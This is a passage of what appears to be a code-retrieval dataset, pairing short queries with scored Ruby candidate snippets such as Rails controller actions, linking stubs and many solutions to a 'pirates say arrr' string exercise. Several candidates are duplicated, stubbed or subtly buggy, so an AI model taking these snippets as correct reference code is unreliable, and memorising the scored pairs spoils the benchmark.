"5128bab9785ae473a941ccf028b6e52c", "score": "0.47739127", "text": "def create_release(_destination, _source = 'master')\n end", "title": "" }, { "docid": "43d2f1347539b3e2a58ba85b4b1c36a7", "score": "0.47713345", "text": "def create\n @service_version = ServiceVersion.new(service_version_params)\n\n respond_to do |format|\n if @service_version.save\n format.html { redirect_to @service_version, notice: 'Service version was successfully created.' }\n format.json { render :show, status: :created, location: @service_version }\n else\n format.html { render :new }\n format.json { render json: @service_version.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
563d6700e6037f516db563102579839c
These two are linked
[ { "docid": "ccc96f1f559fa8398528bed672aca2ec", "score": "0.0", "text": "def new #This needs a view for typing data\n # the @post variable represents a fresh, new, empty Post object\n @post = Post.new\n end", "title": "" } ]
[ { "docid": "592c12a4b8268b968cb330b79f3d7ac7", "score": "0.67398185", "text": "def linked\n @linked\n end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.64885086", "text": "def links; end", "title": "" }, { "docid": "361ef41739f1cf754d99b174b23c34d5", "score": "0.6483043", "text": "def references; end", "title": "" }, { "docid": "361ef41739f1cf754d99b174b23c34d5", "score": "0.6483043", "text": "def references; end", "title": "" }, { "docid": "361ef41739f1cf754d99b174b23c34d5", "score": "0.6483043", "text": "def references; end", "title": "" }, { "docid": "361ef41739f1cf754d99b174b23c34d5", "score": "0.6483043", "text": "def references; end", "title": "" }, { "docid": "361ef41739f1cf754d99b174b23c34d5", "score": "0.6483043", "text": "def references; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "20497c993040c3dc9b7e435815939ad4", "score": "0.6468241", "text": "def reference; end", "title": "" }, { "docid": "746815dc155edc99650ceb1b571705be", "score": "0.6450181", "text": "def links=(_arg0); end", "title": "" }, { "docid": "746815dc155edc99650ceb1b571705be", "score": "0.6450181", "text": "def links=(_arg0); end", "title": "" }, { "docid": "50b693b1a0701240b43877bad9be48af", "score": "0.63173443", "text": "def link(src, dst)\n\n end", "title": "" }, { "docid": "8fad7bdcd0fb2ff424fe4a073c50708c", "score": "0.6250615", "text": "def link?; end", "title": "" }, { "docid": "8fad7bdcd0fb2ff424fe4a073c50708c", "score": "0.6250615", "text": "def link?; end", "title": "" }, { "docid": "8fad7bdcd0fb2ff424fe4a073c50708c", "score": "0.6250615", "text": "def link?; end", "title": "" }, { "docid": "0391c000ff3726d23543fb86ee65b8bc", "score": "0.62407875", "text": "def links_to(l); @link = l; end", "title": "" }, { "docid": "0391c000ff3726d23543fb86ee65b8bc", "score": "0.62407875", "text": "def links_to(l); @link = l; end", "title": "" }, { "docid": "4fc42415fd675e0641de2682bd412e63", "score": "0.62257975", "text": "def sharing; end", "title": "" }, { "docid": "fa5f52a0e338d5d105f31aab575c3b95", "score": "0.6224604", "text": "def link\n @dstlinkWithoutType\n end", "title": "" }, { "docid": "c41aaa5a7cafcb895a669ee355cb47b7", "score": "0.61669064", "text": "def linkReferences(umlDoc)\n super(umlDoc) ;\n fromObj = umlDoc.getObject(@from) ;\n toObj = umlDoc.getObject(@to) ;\n if(fromObj.is_a?(Klass))\n @from = fromObj ;\n else\n raise \"generalization (#{@from}->#{@to}) refers non-Class object:#{fromObj} in from-link\" ;\n end\n if(toObj.is_a?(Klass))\n @to = toObj ;\n else\n raise \"generalization (#{@from}->#{@to}) refers non-Class object:#{fromObj} in from-link\" ;\n end\n# p [:link, gen.id, fromObj.name, toObj.name] ;\n toObj.inheritClass(fromObj) ;\n end", "title": "" }, { "docid": "a957f276fc2314e699b5816a36ef6534", "score": "0.6118373", "text": "def link_to other_node\n @links << other_node\n end", "title": "" }, { "docid": "1312b70fabfde9cf4fc9713b9ea1d7e0", "score": "0.6086607", "text": "def determine_relationship(a, b)\n \n end", "title": "" }, { "docid": "a461cf7d65a0012829c2b655317d339b", "score": "0.60791713", "text": "def self_link; end", "title": "" }, { "docid": "192f2803d8f68ca13b9b6114bc569131", "score": "0.6070542", "text": "def link\n end", "title": "" }, { "docid": "bfee7d0e18615cdfb9850ec9aad6c261", "score": "0.60634637", "text": "def link2_(a, b)\n if a.nil?\n @first = b\n else\n a.instance_variable_set(:@next, b) unless a.nil?\n end\n if b.nil?\n @last = a\n else\n b.instance_variable_set(:@prev, a) unless b.nil?\n end\n end", "title": "" }, { "docid": "efa8ceda3d271c66a0155fc29930d89b", "score": "0.60251904", "text": "def linkable\n\t\tself\n\tend", "title": "" }, { "docid": "efa8ceda3d271c66a0155fc29930d89b", "score": "0.60251904", "text": "def linkable\n\t\tself\n\tend", "title": "" }, { "docid": "640d3f10c43600ab13f646a10ae1d70a", "score": "0.6016222", "text": "def bridge; end", "title": "" }, { "docid": "640d3f10c43600ab13f646a10ae1d70a", "score": "0.6016222", "text": "def bridge; end", "title": "" }, { "docid": "7df3d041a752efae1862862d2e3c2586", "score": "0.60033333", "text": "def node_join(a,b)\n a.next_node = b\n b.prev_node = a\n end", "title": "" }, { "docid": "8da1df1557234a543794e67af5ddb224", "score": "0.59995276", "text": "def ref; end", "title": "" }, { "docid": "8da1df1557234a543794e67af5ddb224", "score": "0.59995276", "text": "def ref; end", "title": "" }, { "docid": "8da1df1557234a543794e67af5ddb224", "score": "0.59995276", "text": "def ref; end", "title": "" }, { "docid": "8da1df1557234a543794e67af5ddb224", "score": "0.59995276", "text": "def ref; end", "title": "" }, { "docid": "8da1df1557234a543794e67af5ddb224", "score": "0.59995276", "text": "def ref; end", "title": "" }, { "docid": "862a52fd261b43ea726f98b23698d1de", "score": "0.59644824", "text": "def referenced; end", "title": "" }, { "docid": "158b74abc3b4c60bcf000942bb53e623", "score": "0.59617895", "text": "def link *a, &b; app.link *a, &b end", "title": "" }, { "docid": "63eab557930bf91e081e4d944867c90a", "score": "0.59580123", "text": "def origin\n :linkeddata\n end", "title": "" }, { "docid": "3cee3eaae1bd887222218f2bdfd47a38", "score": "0.5950779", "text": "def sharing \n end", "title": "" }, { "docid": "3eb1ef59854f05584032e87afbadcf22", "score": "0.5856546", "text": "def link_to(other)\n if other != self\n add(other)\n other.add(self)\n true\n else\n false\n end\n end", "title": "" }, { "docid": "867ca3e638adfccf89a3c36c322aa128", "score": "0.58543116", "text": "def link\n super\n end", "title": "" }, { "docid": "0be02e784c419055fa820e5eb3cc05f3", "score": "0.5828222", "text": "def rels; end", "title": "" }, { "docid": "0be02e784c419055fa820e5eb3cc05f3", "score": "0.5828222", "text": "def rels; end", "title": "" }, { "docid": "0268a083820fbc8b8661502cf32c9229", "score": "0.5825532", "text": "def indirects_of(object); end", "title": "" }, { "docid": "7d3a2414c2a7fb5168da978f51c7b6f3", "score": "0.5823639", "text": "def link(params)\n\t\traise \"to be implemented by subclasses\"\n\tend", "title": "" }, { "docid": "a5714beff7fa443f98e3e28943cb3bde", "score": "0.58165383", "text": "def linked?(other_pe)\n pm_storage_adapter.linked?(self.stored_pe, other_pe.stored_pe)\n end", "title": "" }, { "docid": "5bf2656e799dc529baccade9f38054ff", "score": "0.5790835", "text": "def linked\n select(&:linked?)\n end", "title": "" }, { "docid": "623fe703fb09b8058bf2eef1732ab64b", "score": "0.57773197", "text": "def hyperlink; end", "title": "" }, { "docid": "1d956ff83abb54fa07695d75b1dd403e", "score": "0.5766645", "text": "def link_to(other_node)\n @links << other_node\n end", "title": "" }, { "docid": "3265482de744823766f8a62adb9711b5", "score": "0.57483447", "text": "def hyperlinks; end", "title": "" }, { "docid": "3265482de744823766f8a62adb9711b5", "score": "0.57483447", "text": "def hyperlinks; end", "title": "" }, { "docid": "5866bc1becc2dad6044e12f3bcbcb96b", "score": "0.57430494", "text": "def link_at( start , context)\n super\n @entry.link_at( start , context )\n start += @entry.length\n @main.link_at( start , context )\n start += @main.length\n @exit.link_at( start , context)\n start += @exit.length\n @classes.values.each do |clazz|\n clazz.link_at(start , context)\n start += clazz.length\n end\n @objects.each do |o|\n o.link_at(start , context)\n start += o.length\n end\n end", "title": "" }, { "docid": "b7567a2a68cade31f2360723a4c42dc7", "score": "0.5738815", "text": "def used_by; end", "title": "" }, { "docid": "1151221aa9457e5cad317e4fec922758", "score": "0.57356566", "text": "def adjugate; end", "title": "" }, { "docid": "94c26e9abbc9a1ef9150b74438f4dfdc", "score": "0.57243305", "text": "def link_nodes(n1,n2)\n # TODO Check that n1, n2 already in list of nodes\n if n1.link_to n2\n @edge_count += 1\n end\n #ds_union n1.id, n2.id\n @disjoint.union(n1.id,n2.id)\n end", "title": "" }, { "docid": "70cc1a8a7a9f114a4555f8662a4c1d13", "score": "0.57157034", "text": "def association; end", "title": "" }, { "docid": "70cc1a8a7a9f114a4555f8662a4c1d13", "score": "0.57157034", "text": "def association; end", "title": "" }, { "docid": "d9438cd2fab4fb11b0f5c62673f4f8b8", "score": "0.5694359", "text": "def add_linkages(node1, node2)\r\n node1.add_next_linkage(node2, mirror_change=true)\r\n end", "title": "" }, { "docid": "234e3446a9cca013dea70dcbfb26120a", "score": "0.56942534", "text": "def link_support; end", "title": "" }, { "docid": "234e3446a9cca013dea70dcbfb26120a", "score": "0.56942534", "text": "def link_support; end", "title": "" }, { "docid": "234e3446a9cca013dea70dcbfb26120a", "score": "0.56942534", "text": "def link_support; end", "title": "" }, { "docid": "234e3446a9cca013dea70dcbfb26120a", "score": "0.56942534", "text": "def link_support; end", "title": "" }, { "docid": "ede67db416d5a6641e5ce2b4fb29182a", "score": "0.568451", "text": "def connect_to(node1,node2)\n # assuming node1 and node2 are part of this graph\n node1.outgoing << node2\n node2.incoming << node1\n end", "title": "" }, { "docid": "8232ab8888334f94806b8d492926327e", "score": "0.56831455", "text": "def connect_nodes_bidirectionally(node1, node2)\n structure[node1][:incoming] << node2\n structure[node1][:outgoing] << node2\n\n structure[node2][:incoming] << node1\n structure[node2][:outgoing] << node1\n\n nil\n end", "title": "" }, { "docid": "48e64bd23f5630d4166435e0285ad1bb", "score": "0.56754607", "text": "def link(from, to, label = T.unsafe(nil), type: T.unsafe(nil), color: T.unsafe(nil)); end", "title": "" }, { "docid": "041571b6316855b6647a9dc96db0f43d", "score": "0.5671892", "text": "def links\n self.friends + self.inverse_friends\n end", "title": "" }, { "docid": "00753d2399d6a9d0496cb9d6b85a96cd", "score": "0.5668052", "text": "def other a\n @a.hash == a.hash ? @b :\n @b.hash == a.hash ? @a : nil\n end", "title": "" }, { "docid": "749729651c225581e8ba20102ee5fed2", "score": "0.5664445", "text": "def link(x, y)\n x.child = insert_list(y, x.child)\n x.rank += 1\n end", "title": "" }, { "docid": "26a4867c30665d8f6861a7e627c46b48", "score": "0.5655516", "text": "def links; @links; end", "title": "" }, { "docid": "25f27f3a74351b19d1d30bdbe37fb24d", "score": "0.5649832", "text": "def referencing_a1; @referencing_a1 ||= referencing_c4; end", "title": "" }, { "docid": "8ba090603aaa690b33e4ae73478ffed1", "score": "0.5647295", "text": "def referenced?; end", "title": "" }, { "docid": "092ca21d07d56f1ab45aa1ec5629a793", "score": "0.5630552", "text": "def test_auto_simple_cross\n a = Node.create!\n b = Node.create!\n c = Node.create!\n e = Default.connect(a,b)\n e2 = Default.connect(b,c)\n indirect = Default.find_link(a,c)\n assert !indirect.nil?\n assert !indirect.direct?\n assert_equal 1, indirect.count\n assert_equal a, indirect.ancestor\n assert_equal c, indirect.descendant \n end", "title": "" }, { "docid": "5f77b0417e6668c867e404beacb63cc4", "score": "0.56301475", "text": "def sibling_ids; end", "title": "" }, { "docid": "7295a2249c7e33dc7f256659d03930be", "score": "0.56240684", "text": "def link(root_x, root_y)\n root_x.sibling = root_y.child\n root_y.child = root_x\n root_y.rank += 1\n end", "title": "" }, { "docid": "82f4c2e535bcc940f6d5423ed35c95c9", "score": "0.5602968", "text": "def link( how , what)\n l = Link.new(self , how, what )\n end", "title": "" }, { "docid": "66e09f00dd74f19dd20f8e2523fe403c", "score": "0.559635", "text": "def create_links\n end", "title": "" }, { "docid": "66e09f00dd74f19dd20f8e2523fe403c", "score": "0.559635", "text": "def create_links\n end", "title": "" }, { "docid": "2324e7936ad2950431743b09fe5ac4fd", "score": "0.558931", "text": "def relationship; end", "title": "" }, { "docid": "2324e7936ad2950431743b09fe5ac4fd", "score": "0.558931", "text": "def relationship; end", "title": "" }, { "docid": "2324e7936ad2950431743b09fe5ac4fd", "score": "0.558931", "text": "def relationship; end", "title": "" }, { "docid": "2324e7936ad2950431743b09fe5ac4fd", "score": "0.558931", "text": "def relationship; end", "title": "" }, { "docid": "2324e7936ad2950431743b09fe5ac4fd", "score": "0.558931", "text": "def relationship; end", "title": "" } ]
f4901336f982cfe284aa85083955939b
pirates_say_arrrrrrrrr("are you really learning Ruby?") => "eenu" pirates_say_arrrrrrrrr("Katy Perry is on the radio!") => "rya" pirates_say_arrrrrrrrr("Pirates say arrrrrrrrr") => "arrrrrrrr"
[ { "docid": "2c96350d203a6050b34b2fa0927ca008", "score": "0.6530814", "text": "def pirates_say_arrrrrrrrr(string)\n counter = 0\n newstring = \"\"\n string.each_char do |letter|\n if counter >= 1\n newstring << letter\n end\n if (letter == \"r\") || (letter == \"R\")\n counter = 1\n else\n counter = 0\n end\n\n end\n newstring\nend", "title": "" } ]
[ { "docid": "6c6040e0e00957280dda6a769a8b2ca9", "score": "0.722695", "text": "def what_is_life\n \"What is the answer to life the universe and everything?\"\nend", "title": "" }, { "docid": "9bd78ee19a9484cccd8f24a537cbaeb1", "score": "0.71818155", "text": "def pirates_say_arrrrrrrrr(string)\n\treturn_str = \"\"\n\tindex = 0\n\tstr_arr = string.split(\"\")\n\tstr_arr.each do |item|\n\t\treturn_str += str_arr[index + 1] if item.downcase == \"r\" && index < string.size - 1\n\t\tindex += 1\n\t\tend\n\n\treturn_str \n\nend", "title": "" }, { "docid": "c5376f21fdef58359e8b2516d335af6b", "score": "0.71670103", "text": "def pirates_say_arrrrrrrrr(string)\n return_string = \"\"\n string.each_char.with_index {|char,index| return_string << string[index+1] if index != string.length - 1 && char.downcase == \"r\"}\n return return_string\nend", "title": "" }, { "docid": "c9435a3e175bcd86fbd8feca74209fde", "score": "0.70667106", "text": "def pirates_say_arrrrrrrrr(string)\n\tarray = string.split(\"\")\n\ti = 0\n\tword = \"\"\n\tfor e in array\n\t\tif e.downcase == \"r\"\n\t\t\tword += array[i+1].to_s\n\t\t\ti += 1\n\t\telse\n\t\t\ti += 1\n\t\tend\n\tend\n\tword\nend", "title": "" }, { "docid": "3e843c1ebc1226dc54fdf70d2c567a73", "score": "0.7030372", "text": "def pirates_say_arrrrrrrrr(string)\n\tstring_to_return = \"\"\n\tstring.length.times do |index|\n\t\tif (string[index].downcase == \"r\")\n\t\t\tstring_to_return << string[index+1].to_s\n\t\tend\n\tend\n\tstring_to_return\nend", "title": "" }, { "docid": "ebc33fb705ea1fd9a694d5906c405e89", "score": "0.702733", "text": "def pirates_say_arrrrrrrrr(string)\n speech = \"\"\n \n argh = string.split(//)\n \n argh.size.times do |x| \n this = argh[x]\n that = argh[x + 1] || ''\n speech << that if (this == \"r\" || this == \"R\") \n end\n\nspeech\nend", "title": "" }, { "docid": "9a91784384498c740c7f0c25f3a4a143", "score": "0.7017698", "text": "def pirates_say_arrrrrrrrr(string)\n output = \"\"\n string.downcase.each_char.with_index {|x, i| output << string[i+1].to_s if x == \"r\"}\n output\nend", "title": "" }, { "docid": "68170689ae1271637e9ba60684bda0bc", "score": "0.7003021", "text": "def pirates_say_arrrrrrrrr(string)\n chars = string.split(//)\n new_string = ''\n\n chars.each_with_index do |i, index|\n new_string << chars[index+1].to_s if i.downcase == \"r\"\n end\n\n new_string \nend", "title": "" }, { "docid": "c5a0e792ea21ec784a7614b8049d80ca", "score": "0.6925559", "text": "def pirates_say_arrrrrrrrr(string)\n result = ''\n str_array = string.downcase.chars\n str_array.each_with_index {|char, index |\n result << str_array[index + 1] if char == 'r' && str_array[index + 1] != nil\n }\n result\nend", "title": "" }, { "docid": "5596771e4d92a29487ab7365d164f2a5", "score": "0.69203717", "text": "def pirates_say_arrrrrrrrr(string)\n \n new_string = \"\"\n string.split('').each.with_index { |c,n| new_string += string[n+1] if n + 1 < string.length && c.upcase == \"R\" }.join\n new_string\n \nend", "title": "" }, { "docid": "95daa8cabfbacb5d5ad5624667801765", "score": "0.6913049", "text": "def pirates_say_arrrrrrrrr(string)\n to_retun = \"\"\n string.size.times do |n|\n if n == \"r\" || n == \"R\"\n return \"#{string[n+1]}\"\n else\n return \"\"\n end\n end\n to_return\nend", "title": "" }, { "docid": "3f9a334e5f3b502ba00d7524b2a1a697", "score": "0.6900858", "text": "def pirates_say_arrrrrrrrr(string)\n to_return = \"\"\n i=0\n while i<string.length-1\n if string[i] == \"r\" || string[i] == \"R\"\n to_return << string[i+1].to_s\n end\n i+=1\n end\n return to_return\nend", "title": "" }, { "docid": "33297a56c024a36632b13eb7ec93e1a2", "score": "0.6884755", "text": "def pirates_say_arrrrrrrrr(string)\n\n letters = string.split(\"\")\n output = \"\"\n\n letters.each_with_index do |x, i|\n output << letters[i+1] if x.downcase == \"r\" && i+1 < letters.length\n end\n\n output\n\nend", "title": "" }, { "docid": "84dfc6a1854f8e7e3957b018b8526236", "score": "0.6880318", "text": "def pirates_say_arrrrrrrrr(string)\nstring.downcase!\nnew_string = \"\"\nlength = string.size\ncount = 0\nwhile length > count do\n\tif string[count] == \"r\"\n\t\tcount += 1\n\t\tnew_string << string[count,1]\n\telse\n\t\tcount += 1\n\tend\n\nend\nnew_string\nend", "title": "" }, { "docid": "6cc68dc46c8910233f4d48447d90ccf6", "score": "0.68551856", "text": "def pirates_say_arrrrrrrrr(string)\n\tto_return = \"\"\n\tindex = 0\n\tstring.split(//).each do |letter|\n\t\tif letter == \"r\" || letter == \"R\"\n\t\t\tto_return << string[index + 1].to_s\n\t\tend\n\t\tindex += 1\n\tend\n\tto_return\nend", "title": "" }, { "docid": "2cfa67520c9ee8103779a48cddf698c6", "score": "0.68528366", "text": "def pirates_say_arrrrrrrrr(string)\n str = \"\"\n string = string.chars\n string[0..-2].each_with_index {|c,i| str << string[i+1] if c.downcase == \"r\"}\n str\nend", "title": "" }, { "docid": "abd66e29219bac1175b5ee3ff689edb5", "score": "0.68486714", "text": "def phrase(name)\n result = \"Goodnight, \" + name\n return result\nend", "title": "" }, { "docid": "2d0bbe9d6f430a0f4c5ab2fdbb3e3b92", "score": "0.68419343", "text": "def get_sample_phrase_1\r\n \"the cat in the hat\"\r\n end", "title": "" }, { "docid": "24176d73a2261a12595ad2661ba538ad", "score": "0.6823838", "text": "def pirates_say_arrrrrrrrr(string)\r\n\r\n\tnew_string = \"\"\r\n\tx = 0\r\n\twhile x < string.length\r\n\t \r\n\t\tif string[x] == \"r\" || string[x] == \"R\"\r\n\t\t \r\n\t\t\tnew_string << string[x+1].to_s\r\n\t\tend\r\n\t\tx += 1\r\n\tend\r\n\t\r\n\tnew_string\r\n\r\nend", "title": "" }, { "docid": "29dd9380c377fc70a03049a0d0d4b0b3", "score": "0.67833537", "text": "def pirates_say_arrrrrrrrr(string)\n array = string.split(\"\")\n new_string = []\n array.each_with_index do |value, index| \n new_string << array[index.next] if value == \"r\" || value == \"R\"\n end\n return new_string.join\nend", "title": "" }, { "docid": "b93b1d6ad95f004f513836cc3c1767d1", "score": "0.677465", "text": "def pirates_say_arrrrrrrrr(string)\n\t#create an empty string \n to_return = \"\"\n#counts the string length and uses that number for the method .times for the loop.\n string.length.times do |index|\n \t#each character with the each index number is stored in the variable current_char\n current_char = string[index]\n #the next character (with the index + 1) is stored in another variable\n #uses the logical or operator, so if there isn't a 'next_char' (is nil so false)\n #then it returns an empty string\n next_char = string[index + 1] || ''\n\n#pushes the next_char value to the to_return string, only if the current char is r\n#or R.\n to_return << next_char if (current_char == \"r\" || current_char == \"R\")\n end\n\n#calls the string variable \n to_return\nend", "title": "" }, { "docid": "8cb96f2eccceafde8c5b9978ef716c63", "score": "0.67709243", "text": "def pirates_say_arrrrrrrrr(string)\n return_string = ''\n arr = string.split(//) # =>\n arr.each_index do |item|\n if arr[item].downcase == 'r' && arr[item+1] != nil\n return_string << arr[item+1]\n end\n end\n\n return_string # =>\nend", "title": "" }, { "docid": "a5129dc2bf03ff544bb9e25f886306ca", "score": "0.6764238", "text": "def pirates_say_arrrrrrrrr(string)\n array = string.split('')\n array.delete(' ')\n i = 0\n string = String.new\n while i < array.length - 1\n \tstring += array[i +1] if array[i] == \"r\" || array[i] == \"R\"\n \ti += 1\n end\n return string\nend", "title": "" }, { "docid": "655b1c730a5b4c3cd95f740012f6d519", "score": "0.6758434", "text": "def pirates_say_arrrrrrrrr(string)\n\tnew_string = \"\"\n\tstring = string.downcase.split(\"\")\n\tlength = string.length\n\tstring.each_index { |i|\n\t\tif string[i] == \"r\" && i < (length - 1)\n\t\t\tnew_string << string[i+1]\n\t\tend\n\t}\n\treturn new_string\nend", "title": "" }, { "docid": "2f0208bcdbbb169e7c935bf18ccba1fe", "score": "0.674045", "text": "def pirates_say_arrrrrrrrr(string)\n returning = \"\"\n string.downcase.chars.each_with_index do |letter, i|\n break if i == string.length - 1\n next if letter.empty?\n if letter == \"r\" && !string[i + 1].empty?\n returning << string[i + 1]\n end\n end\n \n returning\n \nend", "title": "" }, { "docid": "9a0934f8ec0d8c08d5aa916f72fb96df", "score": "0.6729622", "text": "def pirates_say_arrrrrrrrr(string)\n next_char = []\n if string.include?(\"r\" || \"R\")\n string.length.times {|x| next_char << string[x+1] if string[x].downcase == \"r\"}\n next_char.join\n else\n \"\"\n end\nend", "title": "" }, { "docid": "7a0aea943973b44d63bd96b600c7012a", "score": "0.6723716", "text": "def pirates_say_arrrrrrrrr(string)\n string.split('').map.with_index {|s, i| string[i+1] if s.downcase =='r'}.join\nend", "title": "" }, { "docid": "2ddf5c003093edae83b19f2ef6d972f1", "score": "0.67070144", "text": "def pirates_say_arrrrrrrrr(string)\n\tfinal_string = ''\n\tstring.length.times do |i|\n\t\tcurrent_cha = string[i]\n\t\tfinal_string << string[i+1] if (current_cha == \"r\" || current_cha == \"R\")\nend \n\tfinal_string\nend", "title": "" }, { "docid": "3423b6dde60028593e8ab93278f85275", "score": "0.6697677", "text": "def pirates_say_arrrrrrrrr(string)\n result = \"\"\n string.size.times do |i|\n if string[i].downcase == \"r\" && i < string.size - 1\n result += string[i + 1]\n end\n end\n result\nend", "title": "" }, { "docid": "cec76009e86a633b280e106eac271e72", "score": "0.66927814", "text": "def pirates_say_arrrrrrrrr(string)\n answer = \"\"\n r = false\n string.length.times do |x|\n y = string[x]\n answer << y if r\n r = (y == \"r\" || y == \"R\")\n end\n answer\nend", "title": "" }, { "docid": "f4bf506b4bb07ae6bb0c1a9b07a27ab7", "score": "0.6688182", "text": "def pirates_say_arrrrrrrrr(string)\n string_to_return = \"\" \n string.length.times do |i|\n current_character = string[i]\n next_character = string [i+1] || '' \n string_to_return << next_character if (current_character == \"R\" || current_character == \"r\")\nend\n \nstring_to_return\n\nend", "title": "" }, { "docid": "dd19f22c1248b14cf63d66f600496d13", "score": "0.6684465", "text": "def pirates_say_arrrrrrrrr(string)\n\tnew_string = ''\n\t\n\tstring.size.times do |x|\n\t\t\n\t\tif string[x].downcase == 'r' && string[x +1] != nil\n\t\t\tnew_string += string[x + 1] \n\t\tend\n\t\t\n\tend\n\tnew_string\n\nend", "title": "" }, { "docid": "a6e32b5c7d0e7c19e04ef7645ec34e0b", "score": "0.6684224", "text": "def pirates_say_arrrrrrrrr(string)\n\tnew_results = ''\n\tstring.each_char.with_index do |letter, index|\n\t\tbreak if index >= string.length - 1\n\t\tnew_results << string[index + 1] if (letter == 'r' || letter == 'R')\n\tend\n\tnew_results\nend", "title": "" }, { "docid": "6c548a6c759db140903b78a06ddc1ac8", "score": "0.6678948", "text": "def pirates_say_arrrrrrrrr(string)\n new_string = \"\"\n current_string = (string + \" \").split(\"\")\n i = 0\n while i <= current_string.length\n if current_string[i] == \"r\" || current_string[i] == \"R\"\n new_string << current_string[i+1]\n end\n i += 1\n end\n new_string\nend", "title": "" }, { "docid": "54c4e15185ae1cd9c5a9510309ab3a70", "score": "0.66779524", "text": "def pirates_say_arrrrrrrrr(string)\n p = ((0..string.length).find_all { |i| string.downcase[i] == \"r\" }).map { |i| i + 1 }\n string.chars.to_a.select.each_with_index { |_,i| p.include? i }.join\n\nend", "title": "" }, { "docid": "0e3ec0c193806827ed836a4fe065b7bd", "score": "0.6674389", "text": "def pirates_say_arrrrrrrrr(string)\nresult = \"\"\nstring.each_char.with_index do |letter, i| \nif letter == \"r\"\nresult << \"#{string[i+1]}\"\nend\nif letter == \"R\"\nresult << \"#{string[i+1]}\"\nend\nend\nresult\nend", "title": "" }, { "docid": "c9db39a40948f186a587af1218ccf17c", "score": "0.66723776", "text": "def pirates_say_arrrrrrrrr(string)\r\r\n\r\r\n\tcounter = 0\r\r\n\tlimiter = string.chars.count\r\r\n\treturnString = \"\"\r\r\n\r\r\n\twhile counter < limiter\r\r\n\t\tif string[counter].downcase == \"r\"\r\r\n\t\t\tif string[counter+1]\r\r\n\t\t\t\treturnString << string[counter+1]\r\r\n\t\t\tend\r\r\n\t\tend\r\r\n\t\tcounter += 1\r\r\n\tend\r\r\n\treturnString\r\r\nend", "title": "" }, { "docid": "e38c7ccf0a8151b718c2bad3eb8e04da", "score": "0.66672826", "text": "def I_love_you(me, you)\n p \"#{me} loves #{you}\"\nend", "title": "" }, { "docid": "ea6cfc1eeb716a1f2f695d3c3cc5a656", "score": "0.66648805", "text": "def friendly_parrot(name,age)\n \"Hey #{name} your are #{age}\"\nend", "title": "" }, { "docid": "dbf7908745efb438a89b3b40fe3124d1", "score": "0.66580343", "text": "def marry(string1, string2)\n return \"#{string1} and #{string2} lived happily ever after\"\nend", "title": "" }, { "docid": "821cf19ad259b08dacfad37cb2d3903f", "score": "0.66570634", "text": "def talk\n \"I really like slither\"\n end", "title": "" }, { "docid": "a3e128bb5688837c106bac28580e8491", "score": "0.66550666", "text": "def pirates_say_arrrrrrrrr(string)\n result_arr = []\n idx = 0\n while idx < string.length\n if string[idx].downcase == \"r\" && idx != string.length-1\n result_arr << string[idx+1]\n end\n idx += 1\n end\t\n result_arr.join\nend", "title": "" }, { "docid": "7b61e985777b58d23b3ddc1b92f2e0ce", "score": "0.6653412", "text": "def pirates_say_arrrrrrrrr(string)\n after_r = []\n if string.include? (\"r\") || string.include?(\"R\")\n\n for r in 0..string.size\n if string[r] == \"r\" || string[r] ==\"R\"\n ans = r + 1\n after_r << string[ans]\n end\n end\n return after_r.join\n else\n \"\"\n end\nend", "title": "" }, { "docid": "093f48123e6fc723b77c300933019411", "score": "0.66486895", "text": "def pirates_say_arrrrrrrrr(string)\n newString = String.new\n stringArray = string.split(//)\n s_length = stringArray.length\n stringArray.each_with_index do |x, y|\n if x == \"r\" || \"R\" && y!= s_length-1\n newString << stringArray[y+1]\n end\n end\n return newString\nend", "title": "" }, { "docid": "093f48123e6fc723b77c300933019411", "score": "0.66486895", "text": "def pirates_say_arrrrrrrrr(string)\n newString = String.new\n stringArray = string.split(//)\n s_length = stringArray.length\n stringArray.each_with_index do |x, y|\n if x == \"r\" || \"R\" && y!= s_length-1\n newString << stringArray[y+1]\n end\n end\n return newString\nend", "title": "" }, { "docid": "2c596b42ac72cdc63db7fe52ce91dc74", "score": "0.66408014", "text": "def pirates_say_arrrrrrrrr(string)\n\tstring_to_return = \"\"\n\tterms = false\n\tstring.size.times do |index|\n\t\tletter = string[index]\n\t\tstring_to_return << letter if terms\n\t\tterms = (letter == \"r\" || letter == \"R\")\n\tend\n\tstring_to_return\nend", "title": "" }, { "docid": "b7c2015e6846479c7c87c0d28481c89f", "score": "0.66392976", "text": "def pirates_say_arrrrrrrrr(string)\n array = 